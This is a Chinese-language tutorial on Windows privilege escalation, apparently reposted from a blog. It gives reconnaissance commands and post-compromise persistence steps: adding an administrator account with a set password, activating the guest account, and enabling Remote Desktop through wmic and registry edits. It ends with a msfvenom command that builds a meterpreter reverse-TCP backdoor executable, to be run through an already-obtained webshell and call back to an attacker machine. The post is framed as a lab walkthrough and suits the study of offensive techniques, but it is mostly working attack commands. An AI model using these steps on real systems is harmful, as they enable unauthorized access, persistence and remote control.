Windows权限提升-Toy模板网

这篇具有很好参考价值的文章主要介绍了Windows权限提升。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1.Windows提权前期相关事项

明确事项： 1、明确漏洞编号及版本 2、明确漏洞利用平台及版本 3、确保cmd执行权限正常运行 4、确保服务器相关防护软件情况 systeminfo查看系统补丁：一般的，如果网站安全做好的的情况下，会有几百个补丁

2.Windows提权常用命令

whoami 查看当前权限 ipconfig 查看服务器为内网还是外网 quser 查看管理是否在线 systeminfo 查看服务器信息及相应的补丁，可找相应的补丁提权 tasklist 查看当前运行的进程，是否有av，可利用的第三方的服务提权等 net user 查看用户

net user admin adqqq7! /add 添加账户 net localgroup administrators admin /add 将admin这个用户加到管理组 net user guest /active:yes 激活guest账户 net user admin /del 删除admin账户 tasklist /svc 查看进程服务 tasklist /m dll 查看调用某个dll的进程 tasklist /v 显示当前进程和进程用户 qwinsta 显示会话情况 net config workstation 查看当前登陆用户信息 hostname 主机名 set 查看环境变量 net view 显示当前域或工作组中计算机的列表 net statistics workstation 查看主机开机时间 net share 查看共享文件夹查看3389是否开启，0x0为开，0x1为关 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections

win2012通用，win7开启3389： wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

windows server2008开启3389： wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

windows server 2003，windws XP开启3389： wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

3.Windows提权实战

环境：Win7（admin用户）+ Kali Linux 在做提权实验之前，我们已经拿下了webshell，如何利用漏洞拿下webshell这里就不再赘述

使用msf生成一个exe后门；通过Webshell 执行该后门程序 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.142 lport=5555 -f exe -o 5555.exe // lhost 需改成kali机器的IP msf监听端口